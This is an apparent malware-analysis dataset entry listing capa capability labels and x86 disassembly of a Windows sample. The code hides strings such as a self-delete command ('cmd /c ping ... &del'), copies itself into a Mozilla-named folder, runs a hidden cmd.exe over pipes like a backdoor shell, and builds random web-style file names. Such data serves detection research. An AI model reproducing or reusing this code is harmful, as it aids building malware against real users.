joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402fcb
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x122c
call fcn.00405ab0
push esi
lea eax, [ebp - 0xa2c]
push 0x208
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0x800
lea eax, [ebp - 0x824]
push esi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x824]
push dword [ebp + 0xc]
push eax
push esi
call fcn.00402f09
add esp, 0x1c
cmp dword [ebp + 0xc], 0x23
mov word [ebp - 0x24], 0x5c
mov word [ebp - 0x22], 0x4d
mov word [ebp - 0x20], 0x6f
mov word [ebp - 0x1e], 0x7a
mov word [ebp - 0x1c], 0x69
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], 0x6c
mov word [ebp - 0x16], 0x61
mov word [ebp - 0x14], si
mov word [ebp - 0x10], 0x2e
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], 0x78
mov word [ebp - 0xa], 0x65
mov word [ebp - 8], si
je 0x40308a
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
pop ecx
lea eax, [ebp - 0x824]
pop ecx
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
lea eax, [ebp - 0x824]
push 0x407020
push eax
call sub.MSVCRT.dll_wcscat
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x824]
push eax
call sub.MSVCRT.dll_wcscat
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0xa2c]
push eax
call sub.MSVCRT.dll_wcscmp
add esp, 0x20
test eax, eax
je 0x40317a
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403114
push dword [ebp + 8]
lea eax, [ebp - 0x824]
push esi
push eax
call fcn.00402949
add esp, 0xc
push 0x257
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea eax, [ebp - 0x824]
push edi
push eax
lea eax, [ebp - 0xa2c]
push eax
call fcn.00402ca5
mov eax, dword [0x407034]
mov ecx, 0x1ff
mov dword [ebp - 0x122c], eax
xor eax, eax
lea edi, [ebp - 0x1228]
mov word [ebp - 4], 0x72
rep stosd dword es:[edi], eax
lea eax, [ebp - 4]
mov word [ebp - 2], si
push eax
lea eax, [ebp - 0x122c]
push eax
call sub.MSVCRT.dll_wcscat
push esi
lea eax, [ebp - 0x122c]
push esi
push eax
lea eax, [ebp - 0x824]
push eax
push esi
push esi
call fcn.00402e69
add esp, 0x28
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x40317d
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
lea eax, [ebp - 0x128]
push 0x104
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x128]
and byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x528]
push eax
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x6d
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x2f
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x20
mov byte [ebp - 0x1d], 0x70
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x20
mov byte [ebp - 0x18], 0x31
mov byte [ebp - 0x17], 0x32
mov byte [ebp - 0x16], 0x37
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x30
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x30
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x31
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x2d
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x31
mov byte [ebp - 0xa], 0x26
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x20
mov byte [ebp - 5], 0x22
mov byte [ebp - 4], 0x25
mov byte [ebp - 3], 0x73
mov byte [ebp - 2], 0x22
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea eax, [ebp - 0x528]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
leave
ret
Function at 0x403466
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13874
call fcn.00405ab0
push ebx
push esi
push edi
push 0x4073b8
push dword [ebp + 8]
call sub.MSVCRT.dll_wcscmp
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
je 0x403515
push 1
lea eax, [ebp - 0x18]
pop esi
mov dword [ebp - 0x18], 0xc
push 0x6400
push eax
push 0x4077c0
push 0x407bc4
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
je 0x40365d
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x44
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoW]
mov eax, dword [0x4077c0]
mov word [ebp - 0x2c], bx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x30], 0x101
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x40365d
push dword [0x4077c0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x403518
push 1
pop esi
push 0xd000
lea eax, [ebp - 0x1386c]
push ebx
push eax
mov dword [ebp - 0x13874], esi
mov dword [ebp - 0x13870], ebx
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
add esp, 0xc
mov byte [ebp - 1], bl
mov byte [ebp + 0xb], bl
call edi
mov esi, 0x6800
mov dword [ebp - 0xc], eax
push esi
lea eax, [ebp - 0x686c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x686c]
push esi
push eax
push dword [0x407bc4]
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
cmp dword [ebp - 8], 0x6400
ja 0x403599
call edi
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x40359f
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x403560
mov byte [ebp + 0xb], 1
jmp 0x4035a3
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
jbe 0x403658
push esi
lea eax, [ebp - 0x686c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x686c]
push esi
push eax
push dword [0x407bc4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x403658
cmp dword [ebp - 8], ebx
jbe 0x403658
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0x686c]
push eax
call fcn.00403414
mov edi, eax
lea eax, [ebp - 0x1386c]
push edi
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [ebp - 0xc]
add esp, 0x10
cmp byte [ebp + 0xb], bl
mov dword [ebp - 0x13870], eax
je 0x40361a
mov dword [ebp - 0x13874], ebx
jmp 0x403629
cmp byte [ebp - 1], bl
je 0x403629
mov dword [ebp - 0x13874], 1
mov esi, dword [ebp + 0x10]
mov eax, 0xd008
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0x13874]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
push edi
call fcn.00405a0a
add esp, 0x14
jmp 0x40365d
mov eax, dword [ebp + 0x10]
mov dword [eax], ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403662
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xd05c
call fcn.00405ab0
push 0x4073b8
push dword [ebp + 8]
call sub.MSVCRT.dll_wcscmp
pop ecx
test eax, eax
pop ecx
je 0x40373b
push esi
push 1
pop eax
xor esi, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xd05c], eax
push 0xd000
lea eax, [ebp - 0xd054]
push esi
push eax
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov word [ebp - 0x12], si
mov dword [ebp - 0x10], esi
mov word [ebp - 0x14], si
mov dword [ebp - 0xd058], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
cmp eax, esi
mov dword [ebp - 0xd05c], eax
je 0x4036f2
push dword [ebp - 0x4c]
jmp 0x4036f9
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [ebp - 0xd054]
push 0x407298
push eax
call sub.MSVCRT.dll_swprintf
mov esi, dword [ebp + 0x10]
add esp, 0xc
mov dword [ebp - 0xd058], eax
mov eax, 0xd008
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0xd05c]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
pop esi
leave
ret
Function at 0x403dcd
Capabilities:
Create thread
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
mov esi, 0x407ff0
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
lea eax, [ebp - 0x220]
push 0x208
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push ebx
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.00402ad6
mov edi, 0x407ccf
push 0x408204
push edi
call sub.MSVCRT.dll_strcmp
add esp, 0x14
test eax, eax
jne 0x403e2c
push 0x407bd0
push edi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [0x407de0]
call fcn.004026af
pop ecx
mov dword [0x407bc8], eax
mov dword [ebp - 0xc], 1
xor esi, esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
jmp 0x403e53
mov edi, 0x407ccf
mov eax, dword [0x407ddc]
cmp esi, ebx
mov dword [ebp - 4], eax
jne 0x403eff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00403d81
push 0x514
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0xc
cmp eax, ebx
je 0x403e8c
mov ecx, eax
call fcn.00403d38
mov esi, eax
jmp 0x403e8e
xor esi, esi
or dword [esi + 0x108], 0xffffffff
mov dword [esi], ebx
mov eax, dword [ebp - 8]
sub eax, ebx
je 0x403ee4
dec eax
je 0x403ecd
dec eax
je 0x403eb6
dec eax
je 0x403eb3
dec eax
je 0x403eb0
dec eax
jne 0x403eff
push edi
jmp 0x403ebb
push edi
jmp 0x403ed2
push edi
jmp 0x403ee9
push 0x407bd0
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd8]
pop ecx
pop ecx
jmp 0x403ef9
push 0x407bd0
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd4]
pop ecx
pop ecx
jmp 0x403ef9
push 0x407bd0
lea eax, [esi + 4]
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [0x407dd0]
pop ecx
pop ecx
mov dword [esi + 0x104], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push esi
push 0x4037cb
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esi + 0x10c]
cmp eax, ebx
je 0x403fa6
sub eax, 0x3ec
je 0x403fc6
dec eax
je 0x403f92
dec eax
je 0x403f5f
dec eax
jne 0x403fa6
push esi
call fcn.00405a0a
xor esi, esi
mov dword [ebp - 0xc], ebx
mov dword [esp], 0x407ff0
call fcn.00403256
pop ecx
mov dword [ebp - 4], ebx
jmp 0x403fa8
cmp dword [esi + 0x510], 0x104
mov dword [ebp - 4], 5
jne 0x403fa8
lea edi, [esi + 0x110]
lea eax, [esi + 4]
push edi
push eax
call sub.MSVCRT.dll_strcpy
mov eax, dword [edi + 0x100]
pop ecx
pop ecx
mov dword [esi + 0x104], eax
jmp 0x403fa8
push esi
mov dword [ebp - 4], 5
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ebx
call fcn.00405a0a
pop ecx
xor esi, esi
mov eax, dword [ebp - 4]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [ebp - 0xc], ebx
jne 0x403e4e
pop edi
pop esi
pop ebx
leave
ret
cmp dword [esi + 0x510], 4
jne 0x403fa8
lea eax, [esi + 0x110]
push 4
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x403ff4
mov dword [ebp - 4], 5
jmp 0x403fa8
imul eax, eax, 0x3c
mov dword [ebp - 4], eax
jmp 0x403fa8
Function at 0x403ffc
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x208]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov eax, dword [0x408200]
push eax
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push str._s_x_d
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x14
lea eax, [ebp - 0x410]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
leave
ret

Function at 0x40404a
Capabilities:
Check if file exists
Delete directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
cmp dword [0x408200], 0
je 0x4040b3
lea eax, [ebp - 0x410]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov eax, dword [0x408200]
push eax
push eax
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x208]
push str._s_x_d
push eax
call sub.MSVCRT.dll_swprintf
add esp, 0x14
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4040b3
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x404551
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [0x408200], eax
call fcn.00403ffc
mov eax, dword [0x408200]
and eax, 0x3ff
push eax
call fcn.004032a6
mov dword [esp], 0x407bd0
call fcn.004032c0
test eax, eax
pop ecx
je 0x40458f
call fcn.0040404a
test eax, eax
jne 0x404596
xor eax, eax
jmp 0x404623
push ebx
xor ebx, ebx
cmp dword [0x407de4], ebx
push esi
je 0x4045c1
mov esi, 0x407de8
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4045c1
push 5
push ebx
push ebx
push esi
push ebx
push ebx
call fcn.00402e69
add esp, 0x18
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 2]
push eax
mov byte [ebp - 2], 0x72
lea eax, [esi + 1]
mov byte [ebp - 1], bl
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x404604
cmp byte [esi], 0x2f
jne 0x4045ee
push 0x407ff0
call fcn.00403256
pop ecx
cmp byte [esi], 0x5c
jne 0x4045f8
call fcn.00403dcd
cmp byte [esi], 0x2d
jne 0x40461f
call fcn.004040b7
jmp 0x40461f
push dword [0x4081f8]
push 0x407ff0
call fcn.00402fcb
pop ecx
test eax, eax
pop ecx
jne 0x40461f
call fcn.00403dcd
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x404e6a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreatePipe]
push esi
mov esi, ecx
push edi
lea edx, [ebp - 0x28]
lea eax, [esi + 8]
push 0x6400
lea ecx, [esi + 4]
push edx
xor edi, edi
push eax
push ecx
mov dword [ebp - 0x28], 0xc
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ecx
call ebx
lea edx, [ebp - 0x28]
lea ecx, [esi + 0x18]
push 0x6400
lea eax, [esi + 0x10]
push edx
push ecx
push eax
call ebx
push 0x44
lea eax, [ebp - 0x7c]
pop ebx
push ebx
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
push 0x208
push edi
mov dword [ebp - 0x7c], ebx
mov eax, dword [eax]
mov dword [ebp - 0x50], 0x101
mov dword [ebp - 0x44], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x284]
mov word [ebp - 0x4c], di
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x284]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
lea eax, [ebp - 0x18]
mov word [ebp - 0x18], 0x5c
push eax
lea eax, [ebp - 0x284]
push eax
mov word [ebp - 0x16], 0x63
mov word [ebp - 0x14], 0x6d
mov word [ebp - 0x12], 0x64
mov word [ebp - 0x10], 0x2e
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], 0x78
mov word [ebp - 0xa], 0x65
mov word [ebp - 8], di
call sub.MSVCRT.dll_wcscat
pop ecx
lea eax, [ebp - 0x38]
pop ecx
push eax
lea eax, [ebp - 0x7c]
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push edi
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x404fef
mov eax, dword [ebp - 0x30]
push dword [ebp - 0x38]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esi + 0x1c], eax
call ebx
push dword [ebp - 0x34]
call ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 2
push edi
lea eax, [esi + 0x14]
push edi
push eax
call ebx
push eax
push dword [esi + 0x10]
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x404fef
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [esi + 0x10], edi
push 2
push edi
add esi, 0xc
push edi
push esi
call ebx
mov esi, dword [ebp - 0x1c]
push eax
push dword [esi]
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
test eax, eax
je 0x404fef
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
mov dword [esi], edi
push dword [eax]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404ff4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push edi
cmp dword [eax + 4], ebx
mov edi, ecx
je 0x405064
lea ecx, [ebp - 0xc]
push esi
add eax, 8
push ecx
push eax
mov ecx, edi
mov dword [ebp - 0xc], ebx
call fcn.00405253
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push ebx
push eax
push dword [ebp - 4]
mov dword [ebp - 8], ebx
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push eax
push dword [ebp - 4]
push dword [edi + 0xc]
call esi
test eax, eax
je 0x40505a
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp + 0xa]
push 2
push eax
push dword [edi + 0xc]
mov byte [ebp + 0xa], 0xd
mov byte [ebp + 0xb], 0xa
call esi
push dword [ebp - 4]
call fcn.00405a0a
pop ecx
pop esi
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp + 0xc]
call fcn.00405077
pop edi
pop ebx
leave
ret 0xc

Function at 0x405077
Capabilities:
Check for time delay via gettickcount
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13818
call fcn.00405ab0
push ebx
push esi
push edi
xor ebx, ebx
push 0xd000
lea eax, [ebp - 0x13810]
push ebx
mov dword [ebp - 8], ecx
push eax
mov dword [ebp - 0x13818], 1
mov dword [ebp - 0x13814], ebx
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
add esp, 0xc
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
call edi
mov esi, 0x6800
mov dword [ebp - 0x10], eax
push esi
lea eax, [ebp - 0x6810]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x6810]
push esi
push eax
mov eax, dword [ebp - 8]
push dword [eax + 0x14]
call dword [sym.imp.KERNEL32.DLL_PeekNamedPipe]
cmp dword [ebp - 0xc], 0x6400
ja 0x405111
call edi
sub eax, dword [ebp - 0x10]
cmp eax, 0xc8
ja 0x405117
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4050d8
mov byte [ebp - 1], 1
jmp 0x40511b
mov byte [ebp - 2], 1
cmp dword [ebp - 0xc], ebx
jbe 0x4051d1
push esi
lea eax, [ebp - 0x6810]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push ebx
push eax
push esi
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x6810]
push eax
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x4051d1
cmp dword [ebp - 0xc], ebx
jbe 0x4051d1
lea eax, [ebp - 8]
mov ecx, esi
push eax
lea eax, [ebp - 0x6810]
push eax
mov dword [ebp - 8], ebx
call fcn.004051ff
mov edi, eax
lea eax, [ebp - 0x13810]
push edi
push eax
call sub.MSVCRT.dll_wcscpy
mov eax, dword [ebp - 8]
cmp byte [ebp - 1], bl
pop ecx
mov dword [ebp - 0x13814], eax
pop ecx
je 0x405193
mov dword [ebp - 0x13818], ebx
jmp 0x4051a2
cmp byte [ebp - 2], bl
je 0x4051a2
mov dword [ebp - 0x13818], 1
mov esi, dword [ebp + 0xc]
mov eax, 0xd008
push eax
mov dword [esi], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
push dword [esi]
lea ecx, [ebp - 0x13818]
push ecx
push eax
call sub.MSVCRT.dll_memcpy
push edi
call fcn.00405a0a
add esp, 0x14
jmp 0x4051d6
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4051dd
Capabilities:
Terminate process

Disassembly:
push esi
push dword [ecx + 0x1c]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
ret

Function at 0x405306
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0
call sub.MSVCRT.dll_time
pop ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push dword [ebp - 4]
mov edi, eax
call sub.MSVCRT.dll_srand
call sub.MSVCRT.dll_rand
mov esi, 0xffff
cdq
mov ecx, esi
idiv ecx
mov ebx, edx
lea eax, [ebx + edi]
push eax
call sub.MSVCRT.dll_srand
call sub.MSVCRT.dll_rand
cdq
idiv esi
and byte [ebp - 0xc], 0
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x34
mov byte [ebp - 0x19], 0x58
mov byte [ebp - 0x18], 0x25
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x38
mov byte [ebp - 0x15], 0x58
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x30
mov byte [ebp - 0x12], 0x38
mov byte [ebp - 0x11], 0x58
mov byte [ebp - 0x10], 0x25
mov byte [ebp - 0xf], 0x30
mov byte [ebp - 0xe], 0x34
mov byte [ebp - 0xd], 0x58
push edx
push edi
push dword [ebp - 4]
mov dword [ebp - 8], edx
push ebx
push eax
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_sprintf
lea eax, [ebp - 0x38]
add esp, 0x20
xor ecx, ecx
mov dword [ebp - 4], eax
mov eax, ecx
push 4
cdq
pop esi
idiv esi
cmp edx, 3
jne 0x4053f0
movsx eax, byte [ecx + 0x408205]
movsx edx, byte [ecx + 0x408206]
add eax, edx
push 0x10
movsx edx, byte [ecx + 0x408207]
add eax, edx
pop esi
cdq
idiv esi
cmp edx, 9
lea eax, [edx + 0x37]
jg 0x4053e8
lea eax, [edx + 0x30]
mov byte [ecx + 0x408208], al
jmp 0x4053fe
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
mov al, byte [eax]
mov byte [ecx + 0x408208], al
inc ecx
cmp ecx, 0x20
jl 0x4053b1
mov eax, edi
and eax, 3
dec eax
je 0x4054a9
dec eax
je 0x40545c
dec eax
mov byte [0x408228], 0x2e
je 0x40543e
mov byte [0x408229], 0x68
mov byte [0x40822a], 0x74
mov byte [0x40822b], 0x6d
mov byte [0x40822c], 0x6c
jmp 0x4054cc
mov byte [0x408229], 0x73
mov byte [0x40822a], 0x68
mov byte [0x40822b], 0x74
mov byte [0x40822c], 0x6d
jmp 0x4054cc
push 0xa
mov eax, ebx
xor edx, edx
pop ecx
div ecx
mov eax, dword [ebp - 8]
push 0x1a
mov byte [0x408228], 0x2e
add dl, 0x30
mov byte [0x408229], dl
xor edx, edx
div ecx
mov eax, edi
add dl, 0x30
mov byte [0x40822a], dl
xor edx, edx
div ecx
mov eax, dword [ebp - 8]
pop ecx
add dl, 0x30
mov byte [0x40822b], dl
xor edx, edx
div ecx
add dl, 0x41
mov byte [0x40822c], dl
jmp 0x4054cc
mov byte [0x408228], 0x2e
mov byte [0x408229], 0x61
mov byte [0x40822a], 0x73
mov byte [0x40822b], 0x70
mov byte [0x40822c], 0x78
and byte [0x40822d], 0
pop edi
pop esi
mov eax, 0x408208
pop ebx
leave
ret